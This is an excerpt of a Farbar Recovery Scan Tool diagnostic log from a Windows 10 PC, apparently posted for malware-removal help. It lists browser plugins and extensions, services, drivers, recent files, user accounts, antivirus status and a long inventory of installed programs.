FF Plugin-x32: @microsoft.com/Lync,version=15.0 -> C:\Program Files\Microsoft Office\root\VFS\ProgramFilesX86\Mozilla Firefox\plugins\npmeetingjoinpluginoc.dll [2025-04-04] (Microsoft Corporation -> Microsoft Corporation)
FF Plugin-x32: @microsoft.com/SharePoint,version=14.0 -> C:\Program Files\Microsoft Office\root\VFS\ProgramFilesX86\Microsoft Office\Office16\NPSPWRAP.DLL [2025-04-04] (Microsoft Corporation -> Microsoft Corporation)
FF Plugin-x32: adobe.com/AdobeAAMDetect -> C:\Program Files (x86)\Adobe\Adobe Creative Cloud\Utils\npAdobeAAMDetect32.dll [2025-04-22] (Adobe Inc. -> Adobe Systems)
FF Plugin HKU\S-1-5-21-1201572675-2348253938-1805802479-1003: LWAPlugin15.8 -> C:\Users\Muddy\AppData\Roaming\Mozilla\Plugins\npLWAPlugin15.8.dll [2013-03-13] (Microsoft Corporation -> Microsoft Corporation)
FF Plugin ProgramFiles/Appdata: C:\Users\Muddy\AppData\Roaming\mozilla\plugins\npLWAPlugin15.8.dll [2020-04-06]

Chrome:
=======
CHR DefaultProfile: Default
CHR Profile: C:\Users\Muddy\AppData\Local\Google\Chrome\User Data\Default [2025-06-01]
CHR DownloadDir: D:\1 Downloads
CHR Notifications: Default -> hxxps://chrconnect.telushealth.com; hxxps://myportal.questrade.com; hxxps://www.tiktok.com
CHR Extension: (Audio Downloader Prime) - C:\Users\Muddy\AppData\Local\Google\Chrome\User Data\Default\Extensions\flainkeonkoanoijnkojmiiihnfdhipd [2024-06-06]
CHR Extension: (Google Docs Offline) - C:\Users\Muddy\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi [2025-04-23]
CHR Extension: (Picture-in-Picture Extension (by Google)) - C:\Users\Muddy\AppData\Local\Google\Chrome\User Data\Default\Extensions\hkgfoiooedgoejojocmhlaklaeopbecg [2025-02-13]
CHR Extension: (Malwarebytes Browser Guard) - C:\Users\Muddy\AppData\Local\Google\Chrome\User Data\Default\Extensions\ihcjicgdanjaechkgeegckofjjedodee [2025-04-27]
CHR Extension: (GAuth Authenticator) - C:\Users\Muddy\AppData\Local\Google\Chrome\User Data\Default\Extensions\ilgcnhelpchnceeipipijaljkblbcobl [2023-08-23]
CHR Extension: (NaturalReader - AI Text to Speech) - C:\Users\Muddy\AppData\Local\Google\Chrome\User Data\Default\Extensions\kohfgcgbkjodfcfkcackpagifgbcmimk [2024-12-08]
CHR Extension: (Chrome Web Store Payments) - C:\Users\Muddy\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda [2021-02-05]
CHR Extension: (PrintFriendly - Print, PDF, and Screenshot Web Pages) - C:\Users\Muddy\AppData\Local\Google\Chrome\User Data\Default\Extensions\ohlencieiipommannpdfcmfdpjjmeolj [2025-04-15]
CHR Profile: C:\Users\Muddy\AppData\Local\Google\Chrome\User Data\System Profile [2024-08-30]
CHR HKU\S-1-5-21-1201572675-2348253938-1805802479-1003\SOFTWARE\Google\Chrome\Extensions\...\Chrome\Extension: [efaidnbmnnnibpcajpcglclefindmkaj]
CHR HKU\S-1-5-21-1201572675-2348253938-1805802479-1003\SOFTWARE\Google\Chrome\Extensions\...\Chrome\Extension: [lmjegmlicamnimmfhcmpkclmigmmcbeh]
CHR HKLM-x32\...\Chrome\Extension: [efaidnbmnnnibpcajpcglclefindmkaj]
CHR HKLM-x32\...\Chrome\Extension: [ihcjicgdanjaechkgeegckofjjedodee]

==================== Services (Whitelisted) ===================

(If an entry is included in the fixlist, it will be removed from the registry. The file will not be moved unless listed separately.)

S3 Adobe LM Service; C:\Program Files (x86)\Common Files\Adobe Systems Shared\Service\Adobelmsvc.exe [72704 2018-11-03] (Adobe Systems) [File not signed]
S4 AdobeARMservice; C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe [174520 2025-03-21] (Adobe Inc. -> Adobe Inc.)
S4 AdobeUpdateService; C:\Program Files (x86)\Common Files\Adobe\Adobe Desktop Common\ElevationManager\AdobeUpdateService.exe [944040 2025-04-22] (Adobe Inc. -> Adobe Inc.)
R2 ClickToRunSvc; C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe [13863152 2025-04-17] (Microsoft Corporation -> Microsoft Corporation)
R2 DymoPnpService; C:\Program Files (x86)\DYMO\DYMO Label Software\DymoPnpService.exe [33072 2014-02-03] (Sanford, L.P. -> Sanford, L.P.)
R2 MDCoreSvc; C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25030.2-0\MpDefenderCoreService.exe [2009608 2025-04-10] (Microsoft Windows Publisher -> Microsoft Corporation)
S3 QBFCService; C:\Program Files (x86)\Common Files\Intuit\QuickBooks\FCS\Intuit.QuickBooks.FCS.exe [65536 2017-11-14] (Intuit Inc.) [File not signed]
R3 WdNisSvc; C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25030.2-0\NisSrv.exe [4538400 2025-04-10] (Microsoft Windows Publisher -> Microsoft Corporation)
R2 WinDefend; C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25030.2-0\MsMpEng.exe [278320 2025-04-10] (Microsoft Windows Publisher -> Microsoft Corporation)

===================== Drivers (Whitelisted) ===================

(If an entry is included in the fixlist, it will be removed from the registry. The file will not be moved unless listed separately.)

R3 amdfendrmgr; C:\WINDOWS\System32\drivers\amdfendrmgr.sys [54720 2022-08-08] (Advanced Micro Devices Inc. -> Advanced Micro Devices, Inc.)
R3 amdwddmg; C:\WINDOWS\System32\DriverStore\FileRepository\u0381941.inf_amd64_e1aaf87b06e2b6d9\B380668\amdkmdag.sys [94358424 2022-08-08] (Advanced Micro Devices Inc. -> Advanced Micro Devices, Inc.)
S3 BthA2dp; C:\WINDOWS\System32\drivers\BthA2dp.sys [279040 2019-12-07] (Microsoft Corporation) [File not signed]
S3 BthHFEnum; C:\WINDOWS\System32\drivers\bthhfenum.sys [144896 2019-12-07] (Microsoft Corporation) [File not signed]
S3 gdrv; C:\Windows\gdrv.sys [26192 2018-10-14] (Giga-Byte Technology -> Windows ® Server 2003 DDK provider)
R2 googledrivefs31626; C:\Program Files\Google\Drive File Stream\Drivers\31626\googledrivefs31626.sys [384096 2024-07-25] (Microsoft Windows Hardware Compatibility Publisher -> Google, Inc.)
R3 KslD; C:\WINDOWS\System32\drivers\wd\KslD.sys [331168 2025-04-10] (Microsoft Windows -> Microsoft Corporation)
S3 vna_ap; C:\WINDOWS\system32\DRIVERS\vnaap.sys [165392 2017-08-01] (Check Point Software Technologies Ltd. -> Check Point Software Technologies Ltd.)
S0 WdBoot; C:\WINDOWS\System32\drivers\wd\WdBoot.sys [20016 2025-04-10] (Microsoft Windows Early Launch Anti-malware Publisher -> Microsoft Corporation)
R0 WdFilter; C:\WINDOWS\System32\drivers\wd\WdFilter.sys [605576 2025-04-10] (Microsoft Windows -> Microsoft Corporation)
R3 WdNisDrv; C:\WINDOWS\System32\drivers\wd\WdNisDrv.sys [100744 2025-04-10] (Microsoft Windows -> Microsoft Corporation)

==================== NetSvcs (Whitelisted) ===================

(If an entry is included in the fixlist, it will be removed from the registry. The file will not be moved unless listed separately.)

==================== One month (created) (Whitelisted) =========

(If an entry is included in the fixlist, the file/folder will be moved.)

2025-06-04 14:51 - 2025-06-04 14:52 - 000032539 _____ C:\Users\Muddy\Desktop\FRST.txt
2025-06-03 00:08 - 2025-06-04 14:52 - 000000000 ____D C:\FRST
2025-06-02 23:48 - 2025-06-02 23:48 - 007549332 _____ C:\Users\Muddy\Documents\2025.06.02.arn
2025-06-02 23:37 - 2025-06-02 23:37 - 000000000 ____D C:\Autoruns
2025-06-01 09:18 - 2025-06-01 09:16 - 002405888 _____ (Farbar) C:\Users\Muddy\Desktop\FRST64.exe
2025-05-16 10:45 - 2025-05-16 10:42 - 000053768 _____ C:\Users\Muddy\Documents\temp Timesheet FY2025.xlsx
2025-05-09 14:20 - 2025-05-09 14:20 - 965484715 _____ C:\WINDOWS\MEMORY.DMP
2025-05-09 14:20 - 2025-05-09 14:20 - 001141732 _____ C:\WINDOWS\Minidump\050925-13671-01.dmp

2025-05-09 14:20 - 2025-05-09 14:20 - 000000000 ____D C:\WINDOWS\Minidump

==================== One month (modified) ==================

(If an entry is included in the fixlist, the file/folder will be moved.)

2025-06-04 14:53 - 2023-08-15 22:30 - 000000000 ____D C:\Users\Muddy\AppData\Roaming\tockler
2025-06-04 14:48 - 2019-12-07 02:14 - 000000000 ____D C:\ProgramData\regid.1991-06.com.microsoft
2025-06-04 14:22 - 2020-11-17 12:54 - 000000000 ____D C:\WINDOWS\system32\SleepStudy
2025-06-04 10:50 - 2020-01-15 14:09 - 000000000 ___HD C:\Users\Public\Documents\AdobeGCData
2025-06-04 10:30 - 2018-10-20 21:14 - 000000000 ____D C:\Users\Muddy\AppData\Roaming\Microsoft\Outlook
2025-06-03 23:13 - 2022-02-09 00:01 - 000000000 ____D C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38
2025-06-03 10:05 - 2024-05-13 16:47 - 000000000 ____D C:\ProgramData\boost_interprocess
2025-06-03 10:05 - 2018-10-21 09:48 - 000000000 ____D C:\Users\Muddy\AppData\Local\Sync.Logs
2025-06-01 20:11 - 2018-10-20 23:35 - 000000000 ____D C:\Users\Muddy\AppData\Roaming\Microsoft\Word
2025-05-31 23:53 - 2018-10-21 23:28 - 000000000 ____D C:\Users\Muddy\Documents\My Digital Editions
2025-05-31 23:28 - 2018-10-28 17:48 - 000000000 ____D C:\Users\Muddy\AppData\Roaming\Microsoft\Excel
2025-05-26 21:42 - 2018-10-20 17:42 - 000000000 ___RD C:\Users\Muddy\3D Objects
2025-05-25 15:05 - 2020-11-17 13:03 - 000844634 _____ C:\WINDOWS\system32\PerfStringBackup.INI
2025-05-25 15:05 - 2019-12-07 02:13 - 000000000 ____D C:\WINDOWS\INF
2025-05-25 14:58 - 2020-11-17 13:02 - 000000006 ____H C:\WINDOWS\Tasks\SA.DAT
2025-05-25 14:58 - 2020-11-17 12:54 - 000008192 ___SH C:\DumpStack.log.tmp
2025-05-14 01:08 - 2020-11-17 12:55 - 000000000 ____D C:\Users\Muddy
2025-05-08 22:21 - 2019-12-07 02:14 - 000000000 ____D C:\WINDOWS\LiveKernelReports
2025-05-07 13:47 - 2021-12-16 11:01 - 000000000 ____D C:\WINDOWS\SystemTemp

==================== Files in the root of some directories ========

2023-10-29 13:52 - 2023-10-29 13:52 - 000037192 __RSH () C:\Program Files (x86)\DLS8Uninstall.log
2018-10-20 23:46 - 2018-10-20 23:46 - 000038480 _____ () C:\Users\Muddy\AppData\Roaming\Comma Separated Values (Windows).ADR
2025-04-27 02:00 - 2025-04-27 02:00 - 021813248 _____ () C:\Users\Muddy\AppData\Roaming\Microsoft\e805c624436a09844d2dc36e61cabf9b
2020-01-15 14:07 - 2020-01-15 14:07 - 000000410 _____ () C:\Users\Muddy\AppData\Local\oobelibMkey.log
2025-04-27 02:00 - 2025-04-29 12:14 - 000000004 _____ () C:\Users\Muddy\AppData\Local\rootCert_lock.pfx
2018-10-21 09:48 - 2018-10-21 09:48 - 016035840 _____ () C:\Users\Muddy\AppData\Local\Sync-1540140501.msi
2018-10-21 09:48 - 2018-10-21 09:48 - 000193634 _____ () C:\Users\Muddy\AppData\Local\Sync-1540140501.msi.log
2025-04-27 02:00 - 2025-04-27 02:00 - 000002536 _____ () C:\Users\Muddy\AppData\Local\WindowsUpdateCertificate.pfx

==================== SigCheck ============================

(There is no automatic fix for files that do not pass verification.)

==================== End of FRST.txt ========================

Additional scan result of Farbar Recovery Scan Tool (x64) Version: 01-06-2025
Ran by Muddy (04-06-2025 14:53:49)
Running from C:\Users\Muddy\Desktop
Microsoft Windows 10 Home Version 22H2 19045.5737 (X64) (2020-11-17 20:02:41)
Boot Mode: Normal
==========================================================

==================== Accounts: =============================

(If an entry is included in the fixlist, it will be removed.)

Administrator (S-1-5-21-1201572675-2348253938-1805802479-500 - Administrator - Disabled)
DefaultAccount (S-1-5-21-1201572675-2348253938-1805802479-503 - Limited - Disabled)
Guest (S-1-5-21-1201572675-2348253938-1805802479-501 - Limited - Disabled)
Muddy (S-1-5-21-1201572675-2348253938-1805802479-1003 - Administrator - Enabled) => C:\Users\Muddy
WDAGUtilityAccount (S-1-5-21-1201572675-2348253938-1805802479-504 - Limited - Disabled)

==================== Security Center ========================

(If an entry is included in the fixlist, it will be removed.)

AV: Windows Defender (Enabled - Out of date) {D68DDC3A-831F-4fae-9E44-DA132C1ACF46}
AV: Kaspersky Free (Enabled - Up to date) {0AB30972-4BAC-7BEE-CBCA-B8F9E68797D8}
AS: Kaspersky Free (Disabled - Up to date) {B1D2E896-6D96-7460-F17A-838B9D00DD65}
AS: Windows Defender (Enabled - Up to date) {D68DDC3A-831F-4fae-9E44-DA132C1ACF46}

==================== Installed Programs ======================

(Only the adware programs with "Hidden" flag could be added to the fixlist to unhide them. The adware programs should be uninstalled manually.)

4K YouTube to MP3 (HKLM\...\{C6C89131-2764-42F3-9821-A40B39831DB5}) (Version: 4.5.3.4840 - Open Media LLC)
7-Zip 21.07 (HKLM-x32\...\7-Zip) (Version: 21.07 - Igor Pavlov)
Adobe Acrobat (64-bit) (HKLM\...\{AC76BA86-1033-FFFF-7760-BC15014EA700}) (Version: 25.001.20435 - Adobe)
Adobe Bridge 1.0 (HKLM-x32\...\{B74D4E10-1033-0000-0000-000000000001}) (Version: 001.000.000 - Adobe Systems) Hidden
Adobe Common File Installer (HKLM-x32\...\{8EDBA74D-0686-4C99-BFDD-F894678E5B39}) (Version: 1.00.0000 - Adobe System Incorporated) Hidden
Adobe Creative Cloud (HKLM-x32\...\Adobe Creative Cloud) (Version: 6.6.0.611 - Adobe Inc.)
Adobe Digital Editions 4.5 (HKLM-x32\...\Adobe Digital Editions 4.5) (Version: 4.5.9 - Adobe Systems Incorporated)
Adobe Flash Player 32 NPAPI (HKLM-x32\...\Adobe Flash Player NPAPI) (Version: 32.0.0.403 - Adobe)
Adobe Genuine Service (HKLM-x32\...\AdobeGenuineService) (Version: 8.6.0.79 - Adobe Inc.)
Adobe Help Center 1.0 (HKLM-x32\...\{E9787678-1033-0000-8E67-000000000001}) (Version: 001.000.000 - Adobe Systems) Hidden
Adobe Illustrator CS2 (HKLM-x32\...\Adobe Illustrator CS2) (Version: 12.000.000 - Adobe Systems Inc.)
Adobe Photoshop CS2 (HKLM-x32\...\Adobe Photoshop CS2 - {236BB7C4-4419-42FD-0409-1E257A25E34D}) (Version: 9.0 - Adobe Systems, Inc.)
Adobe Refresh Manager (HKLM-x32\...\{AC76BA86-0804-1033-1959-018244601110}) (Version: 1.8.0 - Adobe Systems Incorporated) Hidden
Adobe Stock Photos 1.0 (HKLM-x32\...\{786C5747-1033-0000-B58E-000000000001}) (Version: 001.000.000 - Adobe Systems) Hidden
Adobe SVG Viewer 3.0 (HKLM-x32\...\Adobe SVG Viewer) (Version: 3.0 - Adobe Systems, Inc.)
Advanced Uninstaller PRO 12.10.0.30 (HKLM-x32\...\Advanced Uninstaller_is1) (Version: 12.10.0.30 - Parand ® Software Group)
Agent Ransack (HKLM\...\{7078BFBE-F9CE-4FFD-8538-898E428BE99B}) (Version: 8.5.2951.1 - Mythicsoft Ltd)
AMD Software (HKLM\...\AMD Catalyst Install Manager) (Version: 9.0.000.8 - Advanced Micro Devices, Inc.)
Apeaksoft Free HEIC Converter 1.0.20 (HKLM-x32\...\{3937AA40-E034-4137-AC6C-B111D518FEE2}_is1) (Version: 1.0.20 - Apeaksoft Studio)
Balanced (HKLM-x32\...\{EFD0705E-598B-46D4-8D5B-4539431764B8}) (Version: 2.02.0000 - Advanced Micro Devices, Inc.) Hidden
BMO Passcode 1.6.5 (HKLM-x32\...\518bc8c4-77dc-5cc1-86ce-419cf2e912a1) (Version: 1.6.5 - Bioconnect Inc.)
Bonjour (HKLM\...\{B91110FB-33B4-468B-90C2-4D5E8AE3FAE1}) (Version: 2.0.2.0 - Apple Inc.)
Canon MF Toolbox 4.9.1.1.mf18 (HKLM-x32\...\{6767DFEE-8909-453A-B553-C7693912B2EB}) (Version: 4.9.1.1.mf18 - CANON INC.)
Canon MF4320-4350 (HKLM\...\{99A5569D-9F86-4f32-A227-1538B731DA42}) (Version: - )
CoolUtils Outlook Viewer (HKLM-x32\...\CoolUtils Outlook Viewer_is1) (Version: 2.5 - Softplicity, Inc.)
DYMO Label v.8 (HKLM-x32\...\DYMO Label v.8) (Version: 8.5.1.1814 - Sanford, L.P.)
ePUBee DRM Removal (HKLM-x32\...\ePUBee DRM Removal) (Version: 3.1.5.2 - ePUBee Inc.)
Google Chrome (HKLM-x32\...\Google Chrome) (Version: 135.0.7049.115 - Google LLC)
Google Drive (HKLM\...\{6BBAE539-2232-434A-A4E5-9A33560C6283}) (Version: 107.0.3.0 - Google LLC)
IBM MQ (Installation1) (HKLM\...\{0B962AD9-F337-4639-A6EB-05A16702B71B}) (Version: 9.0.0.11 - IBM)
Microsoft .NET Host - 5.0.17 (x86) (HKLM-x32\...\{54DE7EA9-E391-4BD2-A373-3A72A18EBDB5}) (Version: 40.68.31213 - Microsoft Corporation) Hidden
Microsoft .NET Host - 6.0.36 (x86) (HKLM-x32\...\{FBC9D6AE-6396-4FC7-BC18-00852836F16D}) (Version: 48.144.23141 - Microsoft Corporation) Hidden
Microsoft .NET Host FX Resolver - 5.0.17 (x86) (HKLM-x32\...\{AF01038B-6523-4EA7-9D9E-4F1E2927D88B}) (Version: 40.68.31213 - Microsoft Corporation) Hidden
Microsoft .NET Host FX Resolver - 6.0.36 (x86) (HKLM-x32\...\{6F73FE7B-B9C3-4A05-8138-0E44543D755F}) (Version: 48.144.23141 - Microsoft Corporation) Hidden
Microsoft .NET Runtime - 5.0.17 (x86) (HKLM-x32\...\{59650A2A-3839-46EC-9D9C-6B3B1C743C55}) (Version: 40.68.31213 - Microsoft Corporation) Hidden
Microsoft .NET Runtime - 6.0.36 (x86) (HKLM-x32\...\{89C09E22-01D0-41F6-BAD3-CA0A8B74AD22}) (Version: 48.144.23141 - Microsoft Corporation) Hidden
Microsoft 365 Apps for business - en-us (HKLM\...\O365BusinessRetail - en-us) (Version: 16.0.18623.20208 - Microsoft Corporation)
Microsoft Edge (HKLM-x32\...\Microsoft Edge) (Version: 135.0.3179.98 - Microsoft Corporation)
Microsoft Edge WebView2 Runtime (HKLM-x32\...\Microsoft EdgeWebView) (Version: 135.0.3179.98 - Microsoft Corporation) Hidden
Microsoft Lync Web App Plug-in (HKLM\...\{BE6D5464-0B1F-46CC-8973-F9651FE6A45A}) (Version: 15.8.8308.965 - Microsoft Corporation)
Microsoft Teams classic (HKU\S-1-5-21-1201572675-2348253938-1805802479-1003\...\Teams) (Version: 1.7.00.156 - Microsoft Corporation)
Microsoft Teams Meeting Add-in for Microsoft Office (HKLM\...\{A7AB73A3-CB10-4AA5-9D38-6AEFFBDE4C91}) (Version: 1.25.06502 - Microsoft)
Microsoft Update Health Tools (HKLM\...\{1FC1A6C2-576E-489A-9B4A-92D21F542136}) (Version: 3.74.0.0 - Microsoft Corporation)
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.17 (HKLM-x32\...\{9A25302D-30C0-39D9-BD6F-21E6EC160475}) (Version: 9.0.30729 - Microsoft Corporation)
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 (HKLM-x32\...\{9BE518E6-ECC6-35A9-88E4-87755C07200F}) (Version: 9.0.30729.6161 - Microsoft Corporation)
Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219 (HKLM\...\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}) (Version: 10.0.40219 - Microsoft Corporation)
Microsoft Visual C++ 2010 x86 Redistributable - 10.0.40219 (HKLM-x32\...\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}) (Version: 10.0.40219 - Microsoft Corporation)
Microsoft Visual C++ 2012 Redistributable (x64) - 11.0.61030 (HKLM-x32\...\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}) (Version: 11.0.61030.0 - Microsoft Corporation)
Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 (HKLM-x32\...\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}) (Version: 11.0.61030.0 - Microsoft Corporation)
Microsoft Visual C++ 2012 x64 Additional Runtime - 11.0.61030 (HKLM\...\{37B8F9C7-03FB-3253-8781-2517C99D7C00}) (Version: 11.0.61030 - Microsoft Corporation) Hidden
Microsoft Visual C++ 2012 x64 Minimum Runtime - 11.0.61030 (HKLM\...\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}) (Version: 11.0.61030 - Microsoft Corporation) Hidden
Microsoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030 (HKLM-x32\...\{B175520C-86A2-35A7-8619-86DC379688B9}) (Version: 11.0.61030 - Microsoft Corporation) Hidden
Microsoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030 (HKLM-x32\...\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}) (Version: 11.0.61030 - Microsoft Corporation) Hidden
Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 (HKLM-x32\...\{050d4fc8-5d48-4b8f-8972-47c82c46020f}) (Version: 12.0.30501.0 - Microsoft Corporation)
Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.40664 (HKLM-x32\...\{042d26ef-3dbe-4c25-95d3-4c1b11b235a7}) (Version: 12.0.40664.0 - Microsoft Corporation)
Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.21005 (HKLM-x32\...\{ce085a78-074e-4823-8dc1-8a721b94b76d}) (Version: 12.0.21005.1 - Microsoft Corporation)
Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 (HKLM-x32\...\{f65db027-aff3-4070-886a-0d87064aabb1}) (Version: 12.0.30501.0 - Microsoft Corporation)
Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.40664 (HKLM-x32\...\{9dff3540-fc85-4ed5-ac84-9e3c7fd8bece}) (Version: 12.0.40664.0 - Microsoft Corporation)
Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.40664 (HKLM\...\{010792BA-551A-3AC0-A7EF-0FAB4156C382}) (Version: 12.0.40664 - Microsoft Corporation) Hidden
Microsoft Visual C++ 2013 x64 Minimum Runtime - 12.0.40664 (HKLM\...\{53CF6934-A98D-3D84-9146-FC4EDF3D5641}) (Version: 12.0.40664 - Microsoft Corporation) Hidden
Microsoft Visual C++ 2013 x86 Additional Runtime - 12.0.40664 (HKLM-x32\...\{D401961D-3A20-3AC7-943B-6139D5BD490A}) (Version: 12.0.40664 - Microsoft Corporation) Hidden
Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.40664 (HKLM-x32\...\{8122DAB1-ED4D-3676-BB0A-CA368196543E}) (Version: 12.0.40664 - Microsoft Corporation) Hidden
Microsoft Visual C++ 2015-2022 Redistributable (x64) - 14.40.33810 (HKLM-x32\...\{5af95fd8-a22e-458f-acee-c61bd787178e}) (Version: 14.40.33810.0 - Microsoft Corporation)
Microsoft Visual C++ 2015-2022 Redistributable (x86) - 14.40.33810 (HKLM-x32\...\{47109d57-d746-4f8b-9618-ed6a17cc922b}) (Version: 14.40.33810.0 - Microsoft Corporation)
Microsoft Visual C++ 2022 X64 Additional Runtime - 14.40.33810 (HKLM\...\{59CED48F-EBFE-480C-8A38-FC079C2BEC0F}) (Version: 14.40.33810 - Microsoft Corporation) Hidden
Microsoft Visual C++ 2022 X64 Minimum Runtime - 14.40.33810 (HKLM\...\{B8B3BB4A-A10D-4F51-91B7-A64FFAC31EA7}) (Version: 14.40.33810 - Microsoft Corporation) Hidden
Microsoft Visual C++ 2022 X86 Additional Runtime - 14.40.33810 (HKLM-x32\...\{5EA6C998-D5AC-4ED9-89C3-9F25B17CCD3D}) (Version: 14.40.33810 - Microsoft Corporation) Hidden
Microsoft Visual C++ 2022 X86 Minimum Runtime - 14.40.33810 (HKLM-x32\...\{0C3457A0-3DCE-4A33-BEF0-9B528C557771}) (Version: 14.40.33810 - Microsoft Corporation) Hidden
Microsoft Visual Studio 2010 Tools for Office Runtime (x64) (HKLM\...\{9495AEB4-AB97-39DE-8C42-806EEF75ECA7}) (Version: 10.0.50908 - Microsoft Corporation) Hidden
Microsoft Visual Studio 2010 Tools for Office Runtime (x64) (HKLM\...\Microsoft Visual Studio 2010 Tools for Office Runtime (x64)) (Version: 10.0.50903 - Microsoft Corporation)
Microsoft Windows Desktop Runtime - 5.0.17 (x86) (HKLM-x32\...\{098c6ff7-1af1-4c4a-b86f-c60608c98e31}) (Version: 5.0.17.31219 - Microsoft Corporation)
Microsoft Windows Desktop Runtime - 5.0.17 (x86) (HKLM-x32\...\{0D02D706-44F2-4957-A448-E7259A0B56B9}) (Version: 40.68.31219 - Microsoft Corporation) Hidden
Microsoft Windows Desktop Runtime - 6.0.36 (x86) (HKLM-x32\...\{9A00C541-6944-4969-9DFE-A7289215800D}) (Version: 48.144.23186 - Microsoft Corporation) Hidden
Microsoft Windows Desktop Runtime - 6.0.36 (x86) (HKLM-x32\...\{c37854d7-1852-4785-82ff-86ff988e4caf}) (Version: 6.0.36.34217 - Microsoft Corporation)
Mozilla Firefox (x64 en-US) (HKLM\...\Mozilla Firefox 137.0.2 (x64 en-US)) (Version: 137.0.2 - Mozilla)
Mozilla Maintenance Service (HKLM\...\MozillaMaintenanceService) (Version: 62.0.3 - Mozilla)
NAPS2 6.1.2 (HKLM-x32\...\NAPS2 (Not Another PDF Scanner 2)_is1) (Version: - Ben Olden-Cooligan)
OEM Application Profile (HKLM-x32\...\{7F5DCD33-1039-C3B2-9538-B645B65BBA63}) (Version: 1.00.0000 - Advanced Micro Devices, Inc.)
Office 16 Click-to-Run Extensibility Component (HKLM\...\{90160000-008C-0000-1000-0000000FF1CE}) (Version: 16.0.18623.20156 - Microsoft Corporation) Hidden
Office 16 Click-to-Run Licensing Component (HKLM\...\{90160000-007E-0000-1000-0000000FF1CE}) (Version: 16.0.18623.20208 - Microsoft Corporation) Hidden
Office 16 Click-to-Run Localization Component (HKLM\...\{90160000-008C-0409-1000-0000000FF1CE}) (Version: 16.0.14131.20278 - Microsoft Corporation) Hidden
QuickBooks (HKLM-x32\...\{4120AF20-BA58-49D1-8CFA-11F166E73945}) (Version: 29.0.4017.2901 - Intuit Canada ULC) Hidden
QuickBooks Pro 2019 (HKLM-x32\...\{FD44271B-DAFF-4C50-8E9B-998AA008606A}) (Version: 29.0.4001.2901 - Intuit Canada ULC)
QuickBooks Runtime Redistributable (HKLM\...\{F2A4F809-2DE6-4D27-888B-4D2BB8DAF20E}) (Version: 1.00.0000 - Intuit Inc.)
QXL - QuickBooks Data Export Made Easy (HKLM-x32\...\{QXL64CDE-27F5-46D3-D590-D366C5552T55}_is1) (Version: 23.0.0.044 - FLEXquarters.com Limited)
Realtek Ethernet Controller Driver (HKLM-x32\...\{8833FFB6-5B0C-4764-81AA-06DFEED9A476}) (Version: 10.10.714.2016 - Realtek)
StudioTax 2019 (HKLM-x32\...\{6BA4B986-CB27-414F-B68E-E78722FC8EF5}) (Version: 15.0.6.0 - BHOK IT Consulting)
StudioTax 2020 (HKLM\...\{00A4E24D-F868-4D20-83E2-4EC0A569B305}) (Version: 16.0.6.0 - BHOK IT Consulting Inc.)
StudioTax 2021 (HKLM\...\{582AD570-5F28-466D-9BAD-FEAE9FEB9098}) (Version: 17.0.3.0 - BHOK IT Consulting Inc.)
StudioTax 2022 (HKLM\...\{E34458B6-3543-4C6E-A0B8-9445F8B7BA3E}) (Version: 18.0.5.0 - BHOK IT Consulting Inc.)
StudioTax 2023 (HKLM\...\{587DC0C3-AEE9-4017-A4AC-31490DC7090B}) (Version: 19.0.4.0 - BHOK IT Consulting Inc.)
StudioTax 2024 (HKLM\...\{5795DE99-0995-4469-B918-89858CE85C44}) (Version: 20.0.6.0 - BHOK IT Consulting Inc.)
Sync (HKLM\...\{96855E80-23DA-11E2-BDFB-09006188709B}) (Version: 2.2.39.30 - Sync)
Teams Machine-Wide Installer (HKLM-x32\...\{731F6BAA-A986-45A4-8936-7C3AAAAA760B}) (Version: 1.2.0.3961 - Microsoft Corporation)
Tockler 3.21.12 (HKLM\...\e65489f4-4cc9-59c5-84af-d36d53e121b4) (Version: 3.21.12 - Maigo Erit)
Update for x64-based Windows Systems (KB5001716) (HKLM\...\{DA80A019-4C3B-4DAA-ACA1-6937D7CAAF9E}) (Version: 8.94.0.0 - Microsoft Corporation)
Windows PC Health Check (HKLM\...\{014B7442-C784-45D3-A152-F7D2C651F28A}) (Version: 3.3.2110.22002 - Microsoft Corporation)
Zoom Workplace (HKU\S-1-5-21-1201572675-2348253938-1805802479-1003\...\ZoomUMX) (Version: 6.3.11 (60501) - Zoom Communications, Inc.)

Packages:
=========
Acrobat Notification Client -> C:\Program Files\WindowsApps\AcrobatNotificationClient_1.0.4.0_x86__e1rzdqpraam7r [2023-12-27] (Adobe Systems Incorporated)
Adobe Acrobat Reader -> C:\Program Files (x86)\Adobe\Acrobat Reader DC [2023-12-27] ()
Adobe Notification Client -> C:\Program Files\WindowsApps\AdobeNotificationClient_6.0.0.1_x86__enpm4xejd91yc [2024-06-02] (Adobe Systems Incorporated)
Canon Office Printer Utility -> C:\Program Files\WindowsApps\34791E63.CanonOfficePrinterUtility_12.7.0.0_x64__6e5tt8cgb93ep [2022-07-24] (Canon Inc.)
Dolby Access -> C:\Program Files\WindowsApps\DolbyLaboratories.DolbyAccess_3.26.3000.0_x64__rz1tebttyb220 [2025-03-21] (Dolby Laboratories)
